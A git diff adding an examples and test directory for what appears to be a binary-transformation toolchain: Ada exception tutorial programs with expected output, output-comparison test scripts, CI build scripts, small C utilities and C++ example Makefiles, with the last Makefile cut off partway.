diff --git a/.gitignore b/.gitignore
index 2a254052c20413600b15f34157f2917660a91ad2..d361fa6febd84edab40990526eb68d71cc5e21b4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -16,3 +16,8 @@ irdb-libs/*.swp
 irdb-libs/*.os
 irdb-libs/*.o
 scons_buiirdb-libs/ld
+peasoup_examples/cgc_spri/spawner
+peasoup_examples/chopzero_src/chopzero
+peasoup_examples/manifest.txt.config
+peasoup_examples/tests/tmp*
+peasoup_examples/*.swp
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index ff5de6fd1dd287858a9b75b75a3777a1f46a7bd1..ae522a446004b4809b19d6c9c24240984db4d4b9 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -27,6 +27,7 @@ do-nightly-clean-ubuntu18:
   variables:
     OS: 'ubuntu18'  
 
+# per os items
 do-nightly-clean-ubuntu16:
   <<: *do-nightly-clean
   tags:
@@ -34,6 +35,7 @@ do-nightly-clean-ubuntu16:
   variables:
     OS: 'ubuntu16'  
 
+# per os items
 do-nightly-clean-centos75:
   <<: *do-nightly-clean
   tags:
@@ -45,21 +47,6 @@ do-nightly-clean-centos75:
 #
 # Building
 #
-
-.do-build: &do-build
-  stage: build
-  script:
-    - ./cicd_testing/do-build.sh 
-
-  variables:
-    OS: 'centos75'  
-
-
-#
-# building 
-#
-
-
 # template
 .do-build: &do-build
   stage: build
diff --git a/peasoup_examples/LICENSE.txt b/peasoup_examples/LICENSE.txt
new file mode 100644
index 0000000000000000000000000000000000000000..312fba3fce32ba9e8a488ac58885ca41c59c2aa8
--- /dev/null
+++ b/peasoup_examples/LICENSE.txt
@@ -0,0 +1,14 @@
+*************************************************************************************
+*
+* Unless otherwise specified, software artifacts in this directory and its
+* subdirectories are subject to:
+*
+* GOVERNMENT PURPOSE RIGHTS
+*
+* The Government's rights to use, modify, reproduce, release, perform, display, or
+* disclose this software are restricted by GOVERNMENT PURPOSE RIGHTS.
+*
+* Any reproduction of the software or portions thereof marked with this legend 
+* must also reproduce the markings.
+*
+*************************************************************************************
diff --git a/peasoup_examples/Makefile b/peasoup_examples/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..9dcfdaceb133a776cfbea8c90387ac712b97dfb6
--- /dev/null
+++ b/peasoup_examples/Makefile
@@ -0,0 +1,12 @@
+
+all:
+	cd chopzero_src; make
+	#if [ -d cgc_spri ]; then cd cgc_spri; make; fi
+	$(PEDI_HOME)/pedi -m manifest.txt
+
+clean:
+	cd chopzero_src; make clean
+	cd examples; make clean
+	cd demos; make clean
+	#cd cgc_spri; make clean
+	
diff --git a/peasoup_examples/README b/peasoup_examples/README
new file mode 100644
index 0000000000000000000000000000000000000000..a0990367ef8b03c70c29d285e22ef85907e1d0b7
--- /dev/null
+++ b/peasoup_examples/README
@@ -0,0 +1 @@
+TBD
diff --git a/peasoup_examples/ada-examples/e_c17_p1.ada b/peasoup_examples/ada-examples/e_c17_p1.ada
new file mode 100644
index 0000000000000000000000000000000000000000..8a6e09ede8cde4067bd20c6f3bccd79cfdc9c28a
--- /dev/null
+++ b/peasoup_examples/ada-examples/e_c17_p1.ada
@@ -0,0 +1,39 @@
+                                       -- Chapter 17 - Program 1
+with Ada.Text_IO, Ada.Integer_Text_IO;
+use Ada.Text_IO, Ada.Integer_Text_IO;
+
+procedure Except1 is
+
+   procedure Divide_Loop is
+   Divide_Result : INTEGER;
+   begin
+      for Index in 1..8 loop
+         Put("Index is");
+         Put(Index, 3);
+         Put(" and the answer is");
+         Divide_Result := 25 / (4 - Index);
+         Put(Divide_Result, 3);
+         New_Line;
+      end loop;
+   exception
+      when Constraint_Error => Put_Line(" Divide by zero error.");
+   end Divide_Loop;
+
+begin
+   Put_Line("Begin program here.");
+   Divide_Loop;
+   Put_Line("End of program.");
+end Except1;
+
+
+
+
+-- Result of Execution
+
+-- Begin program here.
+-- Index is  1 and the answer is  8
+-- Index is  2 and the answer is 12
+-- Index is  3 and the answer is 25
+-- Index is  4 and the answer is Divide by zero error.
+-- End of program.
+
diff --git a/peasoup_examples/ada-examples/e_c17_p2.ada b/peasoup_examples/ada-examples/e_c17_p2.ada
new file mode 100644
index 0000000000000000000000000000000000000000..3c98d795340428b45bad6884aa5c701f28b37713
--- /dev/null
+++ b/peasoup_examples/ada-examples/e_c17_p2.ada
@@ -0,0 +1,100 @@
+                                       -- Chapter 17 - Program 2
+with Ada.Text_IO, Ada.Integer_Text_IO;
+use Ada.Text_IO, Ada.Integer_Text_IO;
+
+procedure Except2 is
+
+   procedure Divide_Loop(Index : in     INTEGER) is
+   Divide_Result : INTEGER;
+   begin
+      Put("Index is");
+      Put(Index, 3);
+      Put(" and the answer is");
+      Divide_Result := 25 / (4 - Index);
+      Put(Divide_Result, 4);
+      New_Line;
+   exception
+      when Constraint_Error => Put(" Divide by zero error");
+                               Put_Line(" in loop 1.");
+   end Divide_Loop;
+
+   procedure New_Divide_Loop(Index : in     INTEGER) is
+      My_Own_Exception : exception;
+      Divide_Result : INTEGER;
+   begin
+      Put("Index is");
+      Put(Index, 3);
+      Put(" and the answer is");
+      if Index = 4 then
+         raise My_Own_Exception;
+      end if;
+      Divide_Result := 25 / (4 - Index);
+      Put(Divide_Result, 4);
+      New_Line;
+   exception
+      when My_Own_Exception => Put(" Divide by zero error");
+                               Put_Line(" in loop 3.");
+      when Constraint_Error => Put_Line("This shouldn't happen.");
+                               Put_Line("But is included anyway.");
+      when others => Put_Line("Some other exception found.");
+   end New_Divide_Loop;
+
+begin
+   Put_Line("Begin program here.");
+   for Count in 1..6 loop              -- begin loop number 1
+      Divide_Loop(Count);
+   end loop;
+   Put_Line("End of first loop.");
+
+   for Count in 1..6 loop              -- begin loop number 2
+      declare
+         Divide_Result : INTEGER;
+      begin
+         Put("Count is");
+         Put(Count, 3);
+         Put(" and the answer is");
+         Divide_Result := 25 / (4 - Count);
+         Put(Divide_Result, 4);
+         New_Line;
+      exception
+         when Constraint_Error => Put(" Divide by zero error");
+                                  Put_Line(" in loop 2.");
+      end;
+   end loop;
+   Put_Line("End of second loop.");
+
+   for Count in 1..6 loop              -- begin loop number 3
+      New_Divide_Loop(Count);
+   end loop;
+   Put_Line("End of program.");
+
+end Except2;
+
+
+
+
+-- Result of Execution
+
+-- Begin program here.
+-- Index is  1 and the answer is   8
+-- Index is  2 and the answer is  12
+-- Index is  3 and the answer is  25
+-- Index is  4 and the answer is Divide by zero error in loop 1.
+-- Index is  5 and the answer is -25
+-- Index is  6 and the answer is -12
+-- End of first loop.
+-- Count is  1 and the answer is   8
+-- Count is  2 and the answer is  12
+-- Count is  3 and the answer is  25
+-- Count is  4 and the answer is Divide by zero error in loop 2.
+-- Count is  5 and the answer is -25
+-- Count is  6 and the answer is -12
+-- End of second loop.
+-- Index is  1 and the answer is   8
+-- Index is  2 and the answer is  12
+-- Index is  3 and the answer is  25
+-- Index is  4 and the answer is Divide by zero error in loop 3.
+-- Index is  5 and the answer is -25
+-- Index is  6 and the answer is -12
+-- End of program.
+
diff --git a/peasoup_examples/ada-examples/e_c17_p3.ada b/peasoup_examples/ada-examples/e_c17_p3.ada
new file mode 100644
index 0000000000000000000000000000000000000000..b0085da9054d1a3032293e48024331f7bbfffd41
--- /dev/null
+++ b/peasoup_examples/ada-examples/e_c17_p3.ada
@@ -0,0 +1,69 @@
+                                       -- Chapter 17 - Program 3
+with Ada.Text_IO, Ada.Integer_Text_IO;
+use Ada.Text_IO, Ada.Integer_Text_IO;
+
+procedure Except3 is
+
+   procedure Divide_By_Zero(Count : INTEGER) is
+      Divide_Result : INTEGER;
+   begin
+      Put("Count is");
+      Put(Count, 3);
+      Put(" and the answer is");
+      Divide_Result := 25 / (Count - 4);
+      Put(Divide_Result, 4);
+      New_Line;
+   exception
+      when Constraint_Error => Put_Line(" Divide by zero occurred");
+   end Divide_By_Zero;
+
+   procedure Raise_An_Error(Count : INTEGER) is
+      My_Own_Error : exception;
+      Another_Result : INTEGER;
+   begin
+      Put("Count is");
+      Put(Count, 3);
+      Another_Result := 35 / (Count - 6);  -- untested divide by zero
+      if Count = 3 then
+         raise My_Own_Error;
+      end if;
+      Put_Line(" and is a legal value");
+   exception
+      when My_Own_Error => Put_Line(" My own error occurred");
+   end Raise_An_Error;
+
+begin
+   Put_Line("Begin program here.");
+   for Count in 1..7 loop
+      Divide_By_Zero(Count);
+      Raise_An_Error(Count);
+   end loop;
+   Put_Line("End of program.");
+
+   exception
+      when Constraint_Error => Put(" Constraint error detected at");
+                               Put_Line(" the main program level.");
+                               Put_Line("Program terminated.");
+end Except3;
+
+
+
+
+-- Result of Execution
+
+-- Begin program here.
+-- Count is  1 and the answer is  -8
+-- Count is  1 and is a legal value
+-- Count is  2 and the answer is -12
+-- Count is  2 and is a legal value
+-- Count is  3 and the answer is -25
+-- Count is  3 My own error occurred
+-- Count is  4 and the answer is Divide by zero occurred
+-- Count is  4 and is a legal value
+-- Count is  5 and the answer is  25
+-- Count is  5 and is a legal value
+-- Count is  6 and the answer is 12
+-- Count is  6 Constraint error detected at the main program level.
+-- Program terminated.
+
+
diff --git a/peasoup_examples/ada-examples/e_c17_p4.ada b/peasoup_examples/ada-examples/e_c17_p4.ada
new file mode 100644
index 0000000000000000000000000000000000000000..e44119528e6811f3856c2c1eb56b92da2ac7d04f
--- /dev/null
+++ b/peasoup_examples/ada-examples/e_c17_p4.ada
@@ -0,0 +1,73 @@
+                                       -- Chapter 17 - Program 4
+with Ada.Text_IO;
+use Ada.Text_IO;
+
+procedure Except4 is
+
+   procedure Try_It is
+      VALUE : constant := 8;
+      subtype LIMIT_RANGE is INTEGER range 14..33;
+      Funny : LIMIT_RANGE := VALUE;
+   begin
+      Put_Line("We are in the Try_It procedure");
+   exception
+      when Constraint_Error =>
+              Put_Line("Constraint error occurred");
+              Put_Line("Detected in procedure Try_It");
+   end Try_It;
+
+   procedure Try_To_Fix_It is
+   begin
+      Put_Line("We are in the Try_To_Fix_It procedure.");
+      Try_It;
+   exception
+      when Constraint_Error =>
+              Put_Line("Constraint error occurred");
+              Put_Line("Detected in procedure Try_To_Fix_It");
+   end Try_To_Fix_It;
+
+
+begin
+   Put_Line("Begin program here.");
+   for Count in 1..4 loop
+      Put_Line("Ready to call Try_To_Fix_It.");
+      Try_To_Fix_It;
+      New_Line;
+   end loop;
+   Put_Line("End of program.");
+
+   exception
+      when Constraint_Error =>
+              Put     ("Range error detected at the");
+              Put_Line(" main program level.");
+              Put_Line("Program terminated.");
+end Except4;
+
+
+
+
+-- Result of execution
+
+-- Begin program here.
+-- Ready to call Try_To_Fix_It.
+-- We are in the Try_To_Fix_It procedure.
+-- Constraint error occurred
+-- Detected in procedure Try_To-Fix_It
+--
+-- Ready to call Try_To_Fix_It.
+-- We are in the Try_To_Fix_It procedure.
+-- Constraint error occurred
+-- Detected in procedure Try_To-Fix_It
+--
+-- Ready to call Try_To_Fix_It.
+-- We are in the Try_To_Fix_It procedure.
+-- Constraint error occurred
+-- Detected in procedure Try_To-Fix_It
+--
+-- Ready to call Try_To_Fix_It.
+-- We are in the Try_To_Fix_It procedure.
+-- Constraint error occurred
+-- Detected in procedure Try_To-Fix_It
+--
+-- End of program.
+
diff --git a/peasoup_examples/ada-examples/e_c17_p6.ada b/peasoup_examples/ada-examples/e_c17_p6.ada
new file mode 100644
index 0000000000000000000000000000000000000000..a281973855130bcdb038fe7cf1c55956332600ef
--- /dev/null
+++ b/peasoup_examples/ada-examples/e_c17_p6.ada
@@ -0,0 +1,70 @@
+                                       -- Chapter 17 - Program 6
+
+with Ada.Text_IO, Ada.Integer_Text_IO, Ada.Exceptions;
+use Ada.Text_IO, Ada.Integer_Text_IO;
+
+procedure Occur is
+
+   Except_ID : Ada.Exceptions.EXCEPTION_OCCURRENCE;
+
+   procedure Divide_Loop is
+      Divide_Result : INTEGER;
+   begin
+
+      for Index in 1..8 loop
+         Put("Index is");
+         Put(Index, 3);
+         Put(" and the answer is");
+         Divide_Result := 25 / (4 - Index);
+         Put(Divide_Result, 3);
+         New_Line;
+      end loop;
+
+   exception
+      when Except_ID: Constraint_Error => 
+          Put_Line(" Divide by zero error.");
+          New_Line;
+          Put_Line("  Exception name:");
+          Put_Line(Ada.Exceptions.Exception_Name(Except_ID));
+          New_Line;
+          Put_Line("  Exception information:");
+          Put_Line(Ada.Exceptions.Exception_Information(Except_ID));
+          New_Line;
+
+      when Except_ID: Storage_Error =>
+          Put_Line(" Storage error detected.");
+          Put_Line(Ada.Exceptions.Exception_Information(Except_ID));
+          New_Line;
+
+      when Except_ID: others =>
+          Put_Line(" Unknown exception detected.");
+          Put_Line(Ada.Exceptions.Exception_Information(Except_ID));
+          New_Line;
+
+   end Divide_Loop;
+
+begin
+   Put_Line("Begin program here.");
+   Divide_Loop;
+   Put_Line("End of program.");
+end Occur;
+
+
+
+
+-- Result of Execution
+
+-- Begin program here.
+-- Index is  1 and the answer is  8
+-- Index is  2 and the answer is 12
+-- Index is  3 and the answer is 25
+-- Index is  4 and the answer is Divide by zero error.
+--
+--   Exception name:
+-- Constraint_Error
+--
+--   Exception message:
+-- Constraint_Error (divide by zero)
+--
+-- End of program.
+
diff --git a/peasoup_examples/ada-examples/except5.adb b/peasoup_examples/ada-examples/except5.adb
new file mode 100644
index 0000000000000000000000000000000000000000..78345975e885f4e2dce30eda313e710e3f706b13
--- /dev/null
+++ b/peasoup_examples/ada-examples/except5.adb
@@ -0,0 +1,21 @@
+with Ada.Text_IO, Stuff;
+use Ada.Text_IO, Stuff;
+
+procedure Except5 is
+   Index : INTEGER := 5;
+   Add_Error : exception renames Stuff.Funny_Add_Error;
+begin
+   Add_One(Index);
+   Index := Subtract_One(Index);
+exception
+   when Numeric_Error | Constraint_Error =>
+             Put_Line("Numeric error or constraint error raised.");
+   when Add_Error =>
+             Put_Line("Addition error detected");
+   when others =>
+             Put_Line("An unknown exception raised");
+             raise;      -- Raise it again for the operating system
+end Except5;
+
+
+
diff --git a/peasoup_examples/ada-examples/stuff.adb b/peasoup_examples/ada-examples/stuff.adb
new file mode 100644
index 0000000000000000000000000000000000000000..c867a92a46ae2541d34c7c916e2c0a6b77fb1674
--- /dev/null
+++ b/peasoup_examples/ada-examples/stuff.adb
@@ -0,0 +1,44 @@
+with Ada.Text_IO;
+with Stuff;
+use Ada.Text_IO;
+use Stuff;
+
+package body Stuff is
+
+   procedure Add_One(Number : in out INTEGER) is
+   begin
+      Number := Number + 1;
+   exception
+      when Funny_Add_Error => Put_Line("Funny add error raised");
+      when Constraint_Error => Put_Line("Constraint error raised");
+   end Add_One;
+
+   function Subtract_One(Number : INTEGER) return INTEGER is
+      Funny_Subtract_Error : exception;
+   begin
+      raise Funny_Subtract_Error;
+      return Number - 1;
+   exception
+      when Funny_Add_Error =>
+                         Put_Line("Funny add error raised");
+                         raise;
+      when Funny_Subtract_Error =>
+                         Put_Line("Funny subtract error raised");
+                         raise;
+   end Subtract_One;
+
+begin
+   null;
+exception
+-- Numeric_Error is obsolete in Ada 95.  It is another name for
+--  the exception Constraint_Error.
+-- when Numeric_Error =>
+--                  Put_Line("Numeric error during elaboration");
+   when Constraint_Error =>
+                 Put_Line("Constraint_Error during elaboration");
+   when Funny_Add_Error =>
+                  Put_Line("Funny Add error during elaboration");
+-- when Funny_Subtract_Error =>
+--           Put_Line("Funny subtract error during elaboration");
+end Stuff;
+
diff --git a/peasoup_examples/ada-examples/stuff.ads b/peasoup_examples/ada-examples/stuff.ads
new file mode 100644
index 0000000000000000000000000000000000000000..76b9ec14b8e29f43484d38fb484c97396ad9cf0d
--- /dev/null
+++ b/peasoup_examples/ada-examples/stuff.ads
@@ -0,0 +1,8 @@
+
+package Stuff is
+   Funny_Add_Error : exception;
+   procedure Add_One(Number : in out INTEGER);
+   function Subtract_One(Number : INTEGER) return INTEGER;
+end Stuff;
+
+
diff --git a/peasoup_examples/ada-examples/testit.sh b/peasoup_examples/ada-examples/testit.sh
new file mode 100755
index 0000000000000000000000000000000000000000..0271cfaa34f29953d2214095861160e04f379f92
--- /dev/null
+++ b/peasoup_examples/ada-examples/testit.sh
@@ -0,0 +1,86 @@
+#!/bin/bash
+
+
+
+
+pgms="e_c17_p1 e_c17_p2 e_c17_p3 e_c17_p4  e_c17_p6 except5"
+opt_lvls="-O0 -O1 -O2 -O3 -Os -Og"
+
+
+build_pgm()
+{
+	file=$1
+	shift
+	comp_opts=$*
+
+	if [ $file = "except5"  ]; then 
+		gnat compile $comp_opts except5.adb  
+		gnat compile $comp_opts stuff.adb
+		gnat bind $file
+		gnat link $file
+		mv $file $file.exe
+	else
+		echo "inputfiles are: $file"
+		gnat compile $comp_opts $file.ada
+		gnat bind $file
+		gnat link $file
+		mv $file $file.exe
+	fi
+
+}
+
+testit()
+{
+	$1 > good.txt 2>&1 
+	$2 > xform.txt 2>&1 
+
+	if ! cmp good.txt xform.txt; then
+		echo "****************************************"
+		echo "Test failed"
+		diff good.txt xform.txt
+		echo "****************************************"
+		exit 1
+	fi
+}
+
+clean ()
+{
+	rm -Rf xxx peasoup* *prot
+}
+
+doit()
+{
+	pgm=$1
+	options="$2"
+	ps_opts="$3"
+	build_pgm  $1 $2
+	$PSZ $pgm.exe $pgm.prot $ps_opts
+
+	testit $pgm.exe $pgm.prot
+
+	clean 
+
+	
+}
+
+
+main()
+{
+	for pgm in $pgms
+	do
+		for opt_lvl in $opt_lvls
+		do
+			doit $pgm "$opt_lvl" "" 
+			doit $pgm "$opt_lvl -fPIC " "" 
+			doit $pgm "$opt_lvl -fPIC -pie " "" 
+
+			doit $pgm "$opt_lvl " "--step-option fill_in_indtargs:--split-eh-frame" 
+			doit $pgm "$opt_lvl -fPIC" "--step-option fill_in_indtargs:--split-eh-frame" 
+			doit $pgm "$opt_lvl -fPIC -pie" "--step-option fill_in_indtargs:--split-eh-frame" 
+		done
+	done
+}
+
+
+
+main "$@"
diff --git a/peasoup_examples/cgc_spri/Makefile b/peasoup_examples/cgc_spri/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..34462e33228f9e38b198999d234f1a82420b3967
--- /dev/null
+++ b/peasoup_examples/cgc_spri/Makefile
@@ -0,0 +1,7 @@
+
+
+spawner: spawn_with_spri_open.c
+	gcc spawn_with_spri_open.c -o $@
+
+clean:
+	rm -f *.o spawner
diff --git a/peasoup_examples/cgc_spri/spawn_with_spri_open.c b/peasoup_examples/cgc_spri/spawn_with_spri_open.c
new file mode 100644
index 0000000000000000000000000000000000000000..1ffad37411837937983b9f8ce4e90ced74bd77a6
--- /dev/null
+++ b/peasoup_examples/cgc_spri/spawn_with_spri_open.c
@@ -0,0 +1,33 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <assert.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+
+
+
+int main( int argc, char* argv[])
+{
+	char* spri_file=getenv("STRATA_SPRI_FILE");
+	if(spri_file)
+	{
+		int fd=open(spri_file, O_RDONLY);
+		if(fd==-1)
+		{
+			perror(__FUNCTION__);
+		}
+		int fd2=dup2(fd,990);
+		if(fd2==-1)
+		{
+			perror(__FUNCTION__);
+		}
+		close(fd);
+	}
+	char* exe=getenv("SPAWNER_EXE_FILE");
+	if(!exe)
+	{
+		fprintf(stderr,"Cannot find file to spawn.");
+	}
+	execvp(exe, argv);
+}
diff --git a/peasoup_examples/chopzero_src/Makefile b/peasoup_examples/chopzero_src/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..ef147281670844f31e59a183d70228bec4b0c700
--- /dev/null
+++ b/peasoup_examples/chopzero_src/Makefile
@@ -0,0 +1,8 @@
+
+
+chopzero: chopzero.c
+	gcc chopzero.c -o chopzero -O3 
+
+clean:
+	rm -f chopzero
+
diff --git a/peasoup_examples/chopzero_src/chopzero.c b/peasoup_examples/chopzero_src/chopzero.c
new file mode 100644
index 0000000000000000000000000000000000000000..42ca81e278f023ec5e5cd268a15aaa9d7b3285b4
--- /dev/null
+++ b/peasoup_examples/chopzero_src/chopzero.c
@@ -0,0 +1,24 @@
+#include <stdio.h>
+#include <assert.h>
+
+#define MAXLINE 1000
+
+int main() {
+   char linebuf[MAXLINE];
+   int addr, size;
+
+   while (!feof(stdin)) {
+      int res;
+      char* resp;
+      resp=fgets(linebuf, MAXLINE-1, stdin);
+      assert(resp==NULL || resp==linebuf);
+      res=sscanf(linebuf, "%x %d", &addr, &size);
+      assert(res>=0);
+      if ((size != 0) && (addr != 0)) {
+         fputs(linebuf, stdout);
+      }
+   }
+
+   return 0;
+}
+
diff --git a/peasoup_examples/cicd_tests/.gitignore b/peasoup_examples/cicd_tests/.gitignore
new file mode 100644
index 0000000000000000000000000000000000000000..53a7cf9fa5397fc697b8f9e6682396f861e079f6
--- /dev/null
+++ b/peasoup_examples/cicd_tests/.gitignore
@@ -0,0 +1 @@
+mylib.so
diff --git a/peasoup_examples/cicd_tests/basic-pgms-orig.sh b/peasoup_examples/cicd_tests/basic-pgms-orig.sh
new file mode 100755
index 0000000000000000000000000000000000000000..c6a3170cf5b600ca7ff3dc430d1b9c837921eadb
--- /dev/null
+++ b/peasoup_examples/cicd_tests/basic-pgms-orig.sh
@@ -0,0 +1,11 @@
+#!/bin/bash
+set -e
+set -x
+
+cd $CICD_MODULE_WORK_DIR/ps_pe_umbrella
+source set_env_vars
+
+# internal tests that do not require transforming binaries
+cd $PEASOUP_HOME/tests
+make clean; ./test_cmds.sh -c orig -l
+
diff --git a/peasoup_examples/cicd_tests/do-build.sh b/peasoup_examples/cicd_tests/do-build.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a25af4cdd1f00d7fcd0aad1b5851cebad14e7b3d
--- /dev/null
+++ b/peasoup_examples/cicd_tests/do-build.sh
@@ -0,0 +1,40 @@
+#/bin/bash 
+
+set -e
+set -x
+
+main()
+{
+
+	# gather info for debugging later, probably not necessary 
+	pwd
+	hostname
+	whoami
+	env|grep "^CICD"
+
+	git submodule sync 
+	git submodule update --init --recursive
+
+	local orig_dir=$(pwd)
+
+	# puts peasoup_umbrella (and all submodules) in CICD_MODULE_WORK_DIR
+	cicd_setup_module_dependency allnp/peasoup_umbrella.git ps_pe_umbrella
+
+
+	# puts the version of peasoup_examples to test in ps_pe_umbrella/peasoup_examples
+	cicd_put_module_in_tree ps_pe_umbrella/peasoup_examples
+
+	# Build/run $PSZ, test result
+	cd $CICD_MODULE_WORK_DIR/ps_pe_umbrella
+	source set_env_vars
+	sudo ./get-peasoup-packages.sh all
+
+	# remove pedi files so that rebuilding includes re-doing pedi setup.
+	$PEDI_HOME/pedi -c -m manifest.txt || true # ignore errors in cleanup
+	./build-all.sh
+	dropdb $PGDATABASE 2>/dev/null || true ; ./postgres_setup.sh
+
+	cd $orig_dir
+}
+
+main "$@"
diff --git a/peasoup_examples/cicd_tests/do-clean.sh b/peasoup_examples/cicd_tests/do-clean.sh
new file mode 100755
index 0000000000000000000000000000000000000000..06febc8bf388e5cf5c181ce4780cbeedb9da56d0
--- /dev/null
+++ b/peasoup_examples/cicd_tests/do-clean.sh
@@ -0,0 +1,22 @@
+#/bin/bash 
+
+set -e
+set -x
+
+main()
+{
+
+	# gather info for debugging later, probably not necessary 
+	pwd
+	hostname
+	whoami
+	env|grep "^CICD"
+
+
+	if [[ $CICD_NIGHTLY == 1 ]] ; then
+		rm -rf $CICD_MODULE_WORK_DIR/ps_pe_umbrella
+	fi
+
+}
+
+main "$@"
diff --git a/peasoup_examples/cicd_tests/verify-fails.sh b/peasoup_examples/cicd_tests/verify-fails.sh
new file mode 100755
index 0000000000000000000000000000000000000000..1196ac5463ff3d8d262db6c93865483d9662e4c0
--- /dev/null
+++ b/peasoup_examples/cicd_tests/verify-fails.sh
@@ -0,0 +1,16 @@
+#!/bin/bash
+set -e
+set -x
+
+cd $CICD_MODULE_WORK_DIR/ps_pe_umbrella
+source set_env_vars
+
+cd $PEASOUP_HOME/tests
+make clean
+
+# verify "fail" configuration
+./test_cmds.sh -l -c expect_fail -a ls
+./test_cmds.sh -l -c expect_fail -a grep
+
+exit 0
+
diff --git a/peasoup_examples/cicd_tests/xform-cat.sh b/peasoup_examples/cicd_tests/xform-cat.sh
new file mode 100755
index 0000000000000000000000000000000000000000..5afbcb8cce0143b5d7c5954f0472cec7b2778493
--- /dev/null
+++ b/peasoup_examples/cicd_tests/xform-cat.sh
@@ -0,0 +1,12 @@
+cd $CICD_MODULE_WORK_DIR/ps_pe_umbrella
+
+set -e
+set -x
+
+source set_env_vars
+cd /tmp
+rm -rf cat.rida ped_cat; 
+$PSZ $(which cat) ./cat.rida -c rida=on -s meds_static=off -c p1transform=on --tempdir ped_cat || true
+if [[ ! -x ./cat.rida ]]; then cat ped_cat/logs/*; fi
+./cat.rida /dev/null 
+
diff --git a/peasoup_examples/cicd_tests/xform-ls.sh b/peasoup_examples/cicd_tests/xform-ls.sh
new file mode 100755
index 0000000000000000000000000000000000000000..41d6fb8d732ae4b3eeb01d24a8f4968724125141
--- /dev/null
+++ b/peasoup_examples/cicd_tests/xform-ls.sh
@@ -0,0 +1,14 @@
+#!/bin/bash
+set -e
+set -x
+
+cd $CICD_MODULE_WORK_DIR/ps_pe_umbrella
+source set_env_vars
+cd /tmp
+rm -rf ls.rida ped_ls
+$PSZ /bin/ls ./ls.rida -c rida=on -s meds_static=off -c p1transform=on --tempdir ped_ls || true
+if [[ ! -x ./ls.rida ]]; then cat ped_ls/logs/*; fi
+rm -rf ped_ls
+./ls.rida
+
+
diff --git a/peasoup_examples/cpp-examples/Makefile b/peasoup_examples/cpp-examples/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..c4ebf3216fbb2396d4cb5f84469f6c69d43ca810
--- /dev/null
+++ b/peasoup_examples/cpp-examples/Makefile
@@ -0,0 +1,65 @@
+
+
+.SUFFIXES: .o .c .cpp .stock .protected
+
+exes=hanoi++.protected newdel.protected newdel_broke1.protected newdel_broke2.protected newdel_broke3.protected newdel_broke4.protected newdel_broke5.protected  newdel_broke6.protected  newdel_broke7.protected  throw.protected newdelete1.protected newdelete2.protected newdelete3.protected newdelete4.protected newdelete5.protected newdelete6.protected 
+
+
+
+all: env_check  ${exes}
+
+
+
+.PHONY: env_check 
+
+.stock.protected:
+	${PEASOUP_HOME}/tools/ps_analyze.sh  $< $@ --step concolic=off 
+
+.o.stock:
+	g++ $< -o $@ 
+
+.c.o:
+	$(CC) -c $< 
+
+.cpp.o:
+	$(CXX) -c $< 
+
+chopzero:
+	@ if [ ! -f chopzero ]; then gcc chopzero.c -o chopzero -O3 ; fi
+
+$(exes): ${STRATA}/lib/x86_linux/libstrata.a
+
+
+
+env_check:
+	@echo checking env vars; \
+	if [ "X${TOOLCHAIN}" = "X" ]; then \
+		echo TOOLCHAIN environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA}" = "X" ]; then \
+		echo STRATA environment variable should be set. ;\
+		exit -1;\
+ 	elif [ "X${SMPSA_HOME}" = "X" ]; then \
+		echo SMPSA_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${PEASOUP_HOME}" = "X" ]; then \
+		echo PEASOUP_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA_HOME}" = "X" ]; then \
+		echo STRATA_HOME environment variable should be set.; \
+		exit -1;\
+	fi ; 
+
+
+clean:
+	rm -f *.o *.syms *.map chopzero hanoi hanoi_overrun hanoi_heap_overrun malloc block_copy print_ptr hanoi_stack_overrun dumbledore a.out memcpy hanoi_overrun_taintedenv dumbledore_cmd hanoi_overrun_tainted hello cmd_args_005
+	rm -f *.stock *.dis *.data *.idb *.log *.ncexe *.annot *.readelf temp.* *.temp *.stratafied *.asm *.SMPobjdump *.id0 *.id1 *.til *.nam *.protected
+	rm -Rf concolic.files_*
+	rm -Rf peasoup_executable_directory.*
+	rm -f strata.log.*
+	rm -f *.sym
+	if [ ! "X" = "X"${PGUSER} ]; then sh ../tools/db/drop_my_tables.sh; sh ../tools/db/pdb_setup.sh; fi
+
+concclean:
+	rm -Rf concolic.files_*
+	rm strata.log.*
diff --git a/peasoup_examples/cpp-examples/Makefile.zipr b/peasoup_examples/cpp-examples/Makefile.zipr
new file mode 100644
index 0000000000000000000000000000000000000000..5d677a1b31e512309cfd2e3ccc2ecfa540f92853
--- /dev/null
+++ b/peasoup_examples/cpp-examples/Makefile.zipr
@@ -0,0 +1,63 @@
+
+
+.SUFFIXES: .o .c .cpp .stock .zipr
+
+#exes=hanoi++.zipr newdel.zipr newdel_broke1.zipr newdel_broke2.zipr newdel_broke3.zipr newdel_broke4.zipr newdel_broke5.zipr  newdel_broke6.zipr  newdel_broke7.zipr  throw.zipr newdelete1.zipr newdelete2.zipr newdelete3.zipr newdelete4.zipr newdelete5.zipr newdelete6.zipr 
+exes=hanoi++.zipr throw.zipr simple_throw.zipr newdel.zipr
+
+
+all: env_check  ${exes}
+
+
+
+.PHONY: env_check 
+
+.stock.zipr:
+	${PSZ} $< $@ 
+
+.o.stock:
+	g++ $< -o $@ 
+
+.c.o:
+	$(CC) -c $< 
+
+.cpp.o:
+	$(CXX) -c $< 
+
+chopzero:
+	@ if [ ! -f chopzero ]; then gcc chopzero.c -o chopzero -O3 ; fi
+
+$(exes): 
+
+env_check:
+	@echo checking env vars; \
+	if [ "X${TOOLCHAIN}" = "X" ]; then \
+		echo TOOLCHAIN environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA}" = "X" ]; then \
+		echo STRATA environment variable should be set. ;\
+		exit -1;\
+ 	elif [ "X${SMPSA_HOME}" = "X" ]; then \
+		echo SMPSA_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${PEASOUP_HOME}" = "X" ]; then \
+		echo PEASOUP_HOME environment variable should be set.; \
